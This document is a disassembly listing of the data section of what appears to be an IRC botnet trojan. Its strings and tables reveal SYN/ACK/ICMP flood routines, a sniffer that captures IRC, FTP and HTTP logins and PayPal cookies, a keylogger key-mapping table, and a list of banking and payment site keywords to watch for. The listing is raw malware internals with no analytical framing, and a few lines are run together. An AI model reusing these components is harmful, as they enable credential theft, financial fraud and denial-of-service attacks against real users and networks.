dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh
byte_42160C db 8Dh ; DATA XREF: sub_419343+4Ar
db 0EFh, 2, 2Dh
dbl_421610 dq 9.765625e-4 ; DATA XREF: sub_40D091+2BDr
; sub_40D091+2D8r ...
dbl_421618 dq -3.0517578125e-5 ; DATA XREF: sub_415EF7+1Er
dd 0FFFFFFFFh, 4191C6h, 4191DAh
byte_42162C db 6 ; DATA XREF: sub_419343:loc_41939Ar
db 2 dup(0), 6
dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h
dd 0
dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
dd 8000008h, 7000800h, 8
aNull: ; DATA XREF: ___:off_43B59Co
unicode 0, <(null)>,0
align 4
aNull_0 db '(null)',0 ; DATA XREF: ___:off_43B598o
align 10h
dword_4216A0 dd 2 dup(0) ; sub_41D6F3+39o ...
dword_4216A8 dd 0FFFFFFFFh, 41BD3Bh, 41BD3Fh, 0FFFFFFFFh, 41BDEFh, 41BDF3h
; DATA XREF: sub_41BC2B+5o
dbl_4216C0 dq 1.0 ; DATA XREF: sub_41C478+2Ar
dbl_4216C8 dq 4.195835e6 ; DATA XREF: sub_41C478+Fr
dbl_4216D0 dq 3.145727e6 ; DATA XREF: sub_41C478+6r
aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_41C4B6+Fo
align 4
aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_41C4B6o
align 10h
dbl_421700 dq 0.0 ; DATA XREF: sub_41C587+6r
dword_421708 dd 30302B65h, 30h, 746E7572h, 20656D69h, 6F727265h, 2072h
; DATA XREF: sub_41C5DD+93o
dd 534F4C54h, 72652053h, 0D726F72h, 0Ah, 474E4953h, 72726520h
dd 0A0D726Fh, 0
dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
dd 65682065h, 0A0D7061h, 0
aR6027NotEnough db 'R6027',0Dh,0Ah
db '- not enough space for lowio initialization',0Dh,0Ah,0
align 10h
aR6026NotEnough db 'R6026',0Dh,0Ah
db '- not enough space for stdio initialization',0Dh,0Ah,0
align 4
aR6025PureVirtu db 'R6025',0Dh,0Ah
db '- pure virtual function call',0Dh,0Ah,0
align 10h
aR6024NotEnough db 'R6024',0Dh,0Ah
db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
align 4
aR6019UnableToO db 'R6019',0Dh,0Ah
db '- unable to open console device',0Dh,0Ah,0
align 4
aR6018Unexpecte db 'R6018',0Dh,0Ah
db '- unexpected heap error',0Dh,0Ah,0
align 4
aR6017Unexpecte db 'R6017',0Dh,0Ah
db '- unexpected multithread lock error',0Dh,0Ah,0
align 4
aR6016NotEnough db 'R6016',0Dh,0Ah
db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra db 0Dh,0Ah
db 'abnormal program termination',0Dh,0Ah,0
align 4
aR6009NotEnough db 'R6009',0Dh,0Ah
db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough db 'R6008',0Dh,0Ah
db '- not enough space for arguments',0Dh,0Ah,0
align 10h
aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: ___:off_43BAECo
db '- floating point not loaded',0Dh,0Ah,0
align 4
aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_41D415+119o
align 10h
asc_4219C0 db 0Ah ; DATA XREF: sub_41D415+F1o
db 0Ah,0
align 4
aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_41D415+D3o
db 0Ah
db 'Program: ',0
align 10h
a___ db '...',0 ; DATA XREF: sub_41D415+BFo
aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_41D415+7Do
align 10h
dword_421A00 dd 0FFFFFFFFh, 41D7ECh, 41D7F0haSunmontuewedth db 'SunMonTueWedThuFriSat',0
align 4
aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
align 4
aTz db 'TZ',0 ; DATA XREF: sub_41DD12+Ao
align 10h
aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_41EE5D+3Do
align 4
aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_41EE5D+35o
aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_41EE5D+24o
a1Qnan db '1#QNAN',0 ; DATA XREF: sub_41F7F0:loc_41F8E5o
align 4
a1Inf db '1#INF',0 ; DATA XREF: sub_41F7F0+D8o
align 10h
a1Ind db '1#IND',0 ; DATA XREF: sub_41F7F0+C7o
align 4
a1Snan db '1#SNAN',0 ; DATA XREF: sub_41F7F0+ADo
align 10h
dword_421AA0 dd 0FFFFFFFFh, 41FFF9h, 41FFFDh, 0FFFFFFFFh, 420068h, 42006Ch
; DATA XREF: sub_41FE42+5o
dword_421AB8 dd 0FFFFFFFFh, 4206FCh, 420700h, 0FFFFFFFFh, 420779h, 42077Dh
; DATA XREF: sub_4205FA+5o
dword_421AD0 dd 0FFFFFFFFh, 420971h, 420975h, 0FFFFFFFFh, 4209CEh, 4209D2h
; DATA XREF: sub_420885+5o
dd 5 dup(2E5DFEC1h), 5 dup(1C3E825Eh), 5 dup(2A993EADh)
dd 70h dup(0)
dd 2A993EADh, 3 dup(0)
dd 1C3E825Eh, 12h dup(0)
dd 2E5DFEC1h, 4AFh dup(0)
dword_423000 dd 0 dd offset sub_40417B
dword_423008 dd 0 dword_42300C dd 0 dd offset sub_41C3C0
dd offset sub_41D5D2
dword_423018 dd 0 dword_42301C dd 0 dd offset sub_41D677
dword_423024 dd 0 dword_423028 dd 0 dword_42302C dd 0 unk_423030 db 2 ; DATA XREF: sub_401000+5Bo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 2 dup(64h), 6Fh
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDoneWithFloodI db ' Done with flood (%iKB/sec).',0
align 4
unk_423068 db 2 ; DATA XREF: sub_4010B2+302o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 2 dup(64h), 6Fh
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSendErrorD_ db ' Send error: <%d>.',0
align 4
aDdos_random db 'ddos.random',0 ; DATA XREF: sub_4010B2:loc_4011DEo
; sub_40F6F1+2767o
aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_4010B2:loc_4011C2o
; sub_40F6F1+2750o
align 10h
aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_4010B2+F1o
; sub_40F6F1+2739o
align 4
unk_4230BC db 2 ; DATA XREF: sub_401447+397o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDoneWithSFlood db ' Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
db 'MB).',0
align 4
unk_42311C db 2 ; DATA XREF: sub_401447+307o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aErrorSendingPa db ' Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
db 'd>.',0
align 4
unk_42317C db 2 ; DATA XREF: sub_401447+12Ao
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aInvalidTargetI db ' Invalid target IP.',0
align 4
unk_4231AC db 2 ; DATA XREF: sub_401447+C2o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aErrorSetsockop db ' Error: setsockopt() failed, returned: <%d>.',0
align 4
unk_4231F4 db 2 ; DATA XREF: sub_401447+49o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aErrorSocketFai db ' Error: socket() failed, returned: <%d>.',0
align 4
aSupersynDoneWi db '[SUPERSYN]: Done with flood (%iKB/sec)',0 ; DATA XREF: sub_40182E+48o
align 10h
dword_423260 dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_4019D1+48o
dd 2BBBB02h
aDoneWithFloo_0 db ' Done with flood (%iKB/sec).',0
align 4
dword_423298 dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_401A6D+27Do
dd 2BBBB02h
aSendErrorD__0 db ' Send error: <%d>.',0
dword_4232C4 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_401D79+4EBo
dd 2BBBB02h
aDoneWithSFlo_0 db ' Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
db 'MB).',0
align 4
dword_423324 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_401D79+44Fo
dd 2BBBB02h
aErrorSending_0 db ' Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
db 'd>.',0
align 4
aRandom db 'random',0 ; DATA XREF: sub_401D79+312o
; sub_40F6F1+2D3Do ...
align 4
aAck db 'ack',0 ; DATA XREF: sub_401D79+2F2o
; sub_40F6F1+2D26o
aSyn db 'syn',0 ; DATA XREF: sub_401D79+2D2o
; sub_40F6F1+2D0Eo
dword_423394 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_401D79+15Fo
dd 2BBBB02h
aInvalidTarge_0 db ' Invalid target IP.',0
align 4
dword_4233C4 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_401D79+EEo
dd 2BBBB02h
aErrorSetsock_0 db ' Error: setsockopt() failed, returned: <%d>.',0
align 4
dword_42340C dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_401D79+70o
dd 2BBBB02h
aErrorSocketF_0 db ' Error: socket() failed, returned: <%d>.',0
align 10h
aEGold db 'e-gold',0 ; DATA XREF: sub_4022BD+13o
align 4
dd 1Eh dup(0)
aPaypal_1 db 'PayPal',0
align 4
dd 1Eh dup(0)
aStormpay db 'StormPay',0
align 4
dd 1Dh dup(0)
aVodafone db 'Vodafone',0
align 4
dd 1Dh dup(0)
dd 74736F50h, 74492065h, 61696C61h, 656Eh, 1Ch dup(0)
aEbay db 'eBay',0
align 4
dd 1Eh dup(0)
dd 6F686159h, 216Fh, 1Eh dup(0)
dd 636E6142h, 65532061h, 616C6Ch, 1Dh dup(0)
aEmail db 'Email',0
align 4
dd 1Eh dup(0)
aBankOfAmerica db 'Bank Of America',0
dd 1Ch dup(0)
aExploit db 'exploit',0
dd 1Eh dup(0)
aBenvenutoAGmai db 'Benvenuto a gmail',0
align 4
dd 1Bh dup(0)
dd 6E734Dh, 1Fh dup(0)
aPagamento db 'pagamento',0
align 4
dd 1Dh dup(0)
aPaga db 'paga',0
align 4
dd 1Eh dup(0)
dword_423BD0 dd 8 dword_423BD4 dd 62h, 62000000h, 2 dup(0) dd 0Dh, 65h, 65000000h, 2 dup(0)
dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0
dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0
dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0
dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0
dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0
dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0
dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0
dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0
dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0
dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0
dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0
dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0
dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0
dd 0C0h, 60h, 7E000000h, 2 dup(0)
dd 2 dup(31h), 21000000h, 2 dup(0)
dd 2 dup(32h), 40000000h, 2 dup(0)
dd 2 dup(33h), 23000000h, 2 dup(0)
dd 2 dup(34h), 24000000h, 2 dup(0)
dd 2 dup(35h), 25000000h, 2 dup(0)
dd 2 dup(36h), 5E000000h, 2 dup(0)
dd 2 dup(37h), 26000000h, 2 dup(0)
dd 2 dup(38h), 2A000000h, 2 dup(0)
dd 2 dup(39h), 28000000h, 2 dup(0)
dd 2 dup(30h), 29000000h, 2 dup(0)
dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
dd 51h, 71h, 51000000h, 2 dup(0)
dd 57h, 77h, 57000000h, 2 dup(0)
dd 45h, 65h, 45000000h, 2 dup(0)
dd 52h, 72h, 52000000h, 2 dup(0)
dd 54h, 74h, 54000000h, 2 dup(0)
dd 59h, 79h, 59000000h, 2 dup(0)
dd 55h, 75h, 55000000h, 2 dup(0)
dd 49h, 69h, 49000000h, 2 dup(0)
dd 4Fh, 6Fh, 4F000000h, 2 dup(0)
dd 50h, 70h, 50000000h, 2 dup(0)
dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
dd 0DDh, 0
dd 7D000000h, 2 dup(0)
dd 41h, 61h, 61000000h, 2 dup(0)
dd 53h, 73h, 53000000h, 2 dup(0)
dd 44h, 64h, 44000000h, 2 dup(0)
dd 46h, 66h, 46000000h, 2 dup(0)
dd 47h, 67h, 47000000h, 2 dup(0)
dd 48h, 68h, 48000000h, 2 dup(0)
dd 4Ah, 6Ah, 4A000000h, 2 dup(0)
dd 4Bh, 6Bh, 4B000000h, 2 dup(0)
dd 4Ch, 6Ch, 4C000000h, 2 dup(0)
dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
dd 0DEh, 27h, 22000000h, 2 dup(0)
dd 5Ah, 7Ah, 5A000000h, 2 dup(0)
dd 58h, 78h, 58000000h, 2 dup(0)
dd 43h, 63h, 43000000h, 2 dup(0)
dd 56h, 76h, 56000000h, 2 dup(0)
dd 42h, 62h, 42000000h, 2 dup(0)
dd 4Eh, 6Eh, 4E000000h, 2 dup(0)
dd 4Dh, 6Dh, 4D000000h, 2 dup(0)
dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
dd 5B00005Dh, 5D4E4957h, 0
dd 2 dup(20h), 20000000h, 2 dup(0)
dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0
dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
dd 5D534E49h, 0
dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
dd 5D4C4544h, 0
dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0
dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
dd 5D5055h, 0
dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0)
dd 6Ah, 2Ah, 2A000000h, 2 dup(0)
dd 6Dh, 2Dh, 2D000000h, 2 dup(0)
dd 6Bh, 2Bh, 2B000000h, 2 dup(0)
dd 60h, 30h, 30000000h, 2 dup(0)
dd 61h, 31h, 31000000h, 2 dup(0)
dd 62h, 32h, 32000000h, 2 dup(0)
dd 63h, 33h, 33000000h, 2 dup(0)
dd 64h, 34h, 34000000h, 2 dup(0)
dd 65h, 35h, 35000000h, 2 dup(0)
dd 66h, 36h, 36000000h, 2 dup(0)
dd 67h, 37h, 37000000h, 2 dup(0)
dd 68h
dword_424304 dd 38h, 38000000h, 2 dup(0) dd 69h, 39h, 39000000h, 2 dup(0)
dd 6Eh, 2Eh, 2E000000h, 2 dup(0)
dword_42433C dd 7325h ; sub_402E92+221o ...
dword_424340 dd 28207325h, 297325h ; sub_40BDAD+EBo
dword_424348 dd 2BBBB02h, 20732520h, 2ABAB02h, 65522820h, 6E727574h
; DATA XREF: sub_402368+3FAo
dd 25282029h, 2973h
dword_424364 dd 2BBBB02h, 20732520h, 2ABAB02h, 65522820h, 6E727574h
; DATA XREF: sub_402368+3D9o
dd 29h
dword_42437C dd 2BBBB02h, 20732520h, 2ABAB02haBufferFullS db ' (Buffer full) (%s)',0
dword_42439C dd 2BBBB02h, 20732520h, 2ABAB02h, 75422820h, 72656666h
; DATA XREF: sub_402368+382o
dd 6C756620h, 296Ch
dword_4243B8 dd 2BBBB02h, 20732520h, 2ABAB02haChangedWindows db ' (Changed Windows: %s)',0
align 4
dword_4243DC dd 2BBBB02h, 20732520h, 2ABAB02h, 0 ; sub_402368+223o
dword_4243EC dd 0BBBB0220h, 73252002h, 0ABAB0220h, 2002h, 0off_424400 dd offset off_424C78 ; DATA XREF: sub_402822+29Er
dd offset off_424C74
dd offset off_424C70
dd offset aHttp ; "HTTP"
dword_424410 dd 6F6C2E3Ah, 6E6967h, 3 dup(0)dword_424424 dd 0 dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
dd 6F6C213Ah, 6E6967h, 4 dup(0)
dd 6F6C403Ah, 6E6967h, 4 dup(0)
dd 6F6C243Ah, 6E6967h, 4 dup(0)
dd 6F6C253Ah, 6E6967h, 4 dup(0)
dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
dd 6F6C263Ah, 6E6967h, 4 dup(0)
dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
dd 6F6C273Ah, 6E6967h, 4 dup(0)
dd 6F6C603Ah, 6E6967h, 4 dup(0)
dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
dd 6F6C203Ah, 6E6967h, 4 dup(0)
dd 75612E3Ah, 6874h, 4 dup(0)
dd 75612C3Ah, 6874h, 4 dup(0)
dd 7561213Ah, 6874h, 4 dup(0)
dd 7561403Ah, 6874h, 4 dup(0)
dd 7561243Ah, 6874h, 4 dup(0)
dd 7561253Ah, 6874h, 4 dup(0)
dd 75615E3Ah, 6874h, 4 dup(0)
dd 7561263Ah, 6874h, 4 dup(0)
dd 75612A3Ah, 6874h, 4 dup(0)
dd 75612D3Ah, 6874h, 4 dup(0)
dd 75612B3Ah, 6874h, 4 dup(0)
dd 75612F3Ah, 6874h, 4 dup(0)
dd 75615C3Ah, 6874h, 4 dup(0)
dd 75613D3Ah, 6874h, 4 dup(0)
dd 75613F3Ah, 6874h, 4 dup(0)
dd 7561273Ah, 6874h, 4 dup(0)
dd 7561603Ah, 6874h, 4 dup(0)
dd 75617E3Ah, 6874h, 4 dup(0)
dd 7561203Ah, 6874h, 4 dup(0)
dd 64692E3Ah, 5 dup(0)
dd 64692C3Ah, 5 dup(0)
dd 6469213Ah, 5 dup(0)
dd 6469403Ah, 5 dup(0)
dd 6469243Ah, 5 dup(0)
dd 6469253Ah, 5 dup(0)
dd 64695E3Ah, 5 dup(0)
dd 6469263Ah, 5 dup(0)
dd 64692A3Ah, 5 dup(0)
dd 64692D3Ah, 5 dup(0)
dd 64692B3Ah, 5 dup(0)
dd 64692F3Ah, 5 dup(0)
dd 64695C3Ah, 5 dup(0)
dd 64693D3Ah, 5 dup(0)
dd 64693F3Ah, 5 dup(0)
dd 6469273Ah, 5 dup(0)
dd 6469603Ah, 5 dup(0)
dd 64697E3Ah, 5 dup(0)
dd 6469203Ah, 5 dup(0)
dd 61682E3Ah, 6E696873h, 4 dup(0)
dd 6168213Ah, 6E696873h, 4 dup(0)
dd 6168243Ah, 6E696873h, 4 dup(0)
dd 6168253Ah, 6E696873h, 4 dup(0)
dd 65732E3Ah, 65727563h, 4 dup(0)
dd 6573213Ah, 65727563h, 4 dup(0)
dd 6C2E3Ah, 5 dup(0)
dd 6C213Ah, 5 dup(0)
dd 6C243Ah, 5 dup(0)
dd 6C253Ah, 5 dup(0)
dd 782E3Ah, 5 dup(0)
dd 78213Ah, 5 dup(0)
dd 78243Ah, 5 dup(0)
dd 78253Ah, 5 dup(0)
dd 79732E3Ah, 6Eh, 4 dup(0)
dd 7973213Ah, 6Eh, 4 dup(0)
dd 7973243Ah, 6Eh, 4 dup(0)
dd 7973253Ah, 6Eh, 4 dup(0)
dd 4B444320h, 207965h, 4 dup(0)
dd 4E494F4Ah, 2320h, 3 dup(0)
dd 1, 4B43494Eh, 20h, 3 dup(0)
dd 1, 5245504Fh, 20h, 3 dup(0)
dd 1, 7265706Fh, 20h, 3 dup(0)
dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
dd 1, 52455355h, 20h, 3 dup(0)
dd 2, 53534150h, 20h, 3 dup(0)
dd 2, 70796170h, 6C61h, 3 dup(0)
dd 3, 50594150h, 4C41h, 3 dup(0)
dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
dd 3, 6 dup(0)
aHttp db 'HTTP',0 ; DATA XREF: ___:0042440Co
align 10h
off_424C70 dd offset word_505446 ; DATA XREF: ___:00424408o
off_424C74 dd offset byte_435249 ; DATA XREF: ___:00424404o
off_424C78 dd offset word_544F42 ; DATA XREF: ___:off_424400o
unk_424C7C db 2 ; DATA XREF: sub_402822+2FCo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Eh, 69h
db 66h ; f
db 66h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorRecvFaile db 'Error: recv() failed, returned: <%d>',0
align 10h
unk_424CC0 db 2 ; DATA XREF: sub_402822+2ABo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Eh, 69h
db 66h ; f
db 66h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aSuspiciousSPac db 'Suspicious %s packet from: %s:%d - %s.',0
align 4
aPsniff_0 db '[PSNIFF]',0 ; DATA XREF: sub_402822+235o
align 10h
unk_424D10 db 2 ; DATA XREF: sub_402822+186o
; sub_402E92+144o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Eh, 69h
db 66h ; f
db 66h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorWsaioctlF db 'Error: WSAIoctl() failed, returned: <%d>.',0
align 4
unk_424D58 db 2 ; DATA XREF: sub_402822+103o
; sub_402E92+C5o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Eh, 69h
db 66h ; f
db 66h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorBindFaile db 'Error: bind() failed, returned: <%d>.',0
align 4
unk_424D9C db 2 ; DATA XREF: sub_402822+85o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Eh, 69h
db 66h ; f
db 66h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorSocketF_1 db 'Error: socket() failed, returned: <%d>.',0
aHashin db ':!hashin',0 ; DATA XREF: sub_402B92+103o
align 4
a_hashin db ':.hashin',0 ; DATA XREF: sub_402B92+EEo
align 4
aIdent db ':!ident',0 ; DATA XREF: sub_402B92+D9o
a_ident db ':.ident',0 ; DATA XREF: sub_402B92+C8o
a_login db ':.Login',0 ; DATA XREF: sub_402B92+B7o
aLogin db ':!Login',0 ; DATA XREF: sub_402B92+A6o
aLogin_0 db ':!login',0 ; DATA XREF: sub_402B92+95o
a_login_0 db ':.login',0 ; DATA XREF: sub_402B92+84o
a366 db '366 ',0 ; DATA XREF: sub_402B92+73o
align 10h
a302 db '302 ',0 ; DATA XREF: sub_402B92:loc_402BF4o
align 4
aJoin db 'JOIN #',0 ; DATA XREF: sub_402B92+4Do
align 10h
aPsniff_1 db 'PSNIFF//',0 ; DATA XREF: sub_402B92+3Co
align 4
aPsniff_2 db '[PSNIFF]:',0 ; DATA XREF: sub_402B92+2Bo
align 4
aBotSniff db 'Bot sniff',0 ; DATA XREF: sub_402B92+5o
align 4
aYouAreNowAnIrc db 'You are now an IRC Operator',0 ; DATA XREF: sub_402CA9+62o
aOper db 'oper ',0 ; DATA XREF: sub_402CA9+51o
align 4
aNick_0 db 'NICK ',0 ; DATA XREF: sub_402CA9:loc_402CE9o
; sub_402D1F+2Bo
align 10h
aOper_0 db 'OPER ',0 ; DATA XREF: sub_402CA9+2Bo
align 4
aIrcSniff db 'IRC sniff',0 ; DATA XREF: sub_402CA9+5o
align 4
aPass_0 db 'PASS ',0 ; DATA XREF: sub_402D1F+73o
align 4
aUser_2 db 'USER ',0 ; DATA XREF: sub_402D1F+62o
align 4
a230 db '230 ',0 ; DATA XREF: sub_402D1F:loc_402D70o
align 4
a220 db '220 ',0 ; DATA XREF: sub_402D1F+3Co
align 4
aFtpSniff db 'FTP sniff',0 ; DATA XREF: sub_402D1F+5o
align 10h
aSetCookie db 'Set-Cookie:',0 ; DATA XREF: sub_402DA6+73o
aPaypal_com db 'paypal.com',0 ; DATA XREF: sub_402DA6+62o
align 4
aPaypal_com_0 db 'PAYPAL.COM',0 ; DATA XREF: sub_402DA6+51o
align 4
aPaypal_0 db 'PAYPAL',0 ; DATA XREF: sub_402DA6:loc_402DE6o
align 4
aPaypal db 'paypal',0 ; DATA XREF: sub_402DA6+2Bo
align 4
aHttpSniff db 'HTTP sniff',0 ; DATA XREF: sub_402DA6+5o
align 10h
aOpenssh_2 db 'OpenSSH_2',0 ; DATA XREF: sub_402E2D+51o
align 4
aServUFtpServer db 'Serv-U FTP Server',0 ; DATA XREF: sub_402E2D:loc_402E6Do
align 10h
aOpenssl0_9_6 db 'OpenSSL/0.9.6',0 ; DATA XREF: sub_402E2D+2Bo
align 10h
aVulnSniff db 'VULN sniff',0 ; DATA XREF: sub_402E2D+5o
align 4
unk_424F4C db 2 ; DATA XREF: sub_402E92+3E5o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Eh, 69h
db 66h ; f
db 66h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aVulnSniffSDToS db 'VULN sniff "%s:%d" to "%s:%d": - "%s"',0
align 10h
unk_424F90 db 2 ; DATA XREF: sub_402E92+37Bo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Eh, 69h
db 66h ; f
db 66h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aHttpSniffSDToS db 'HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
align 4
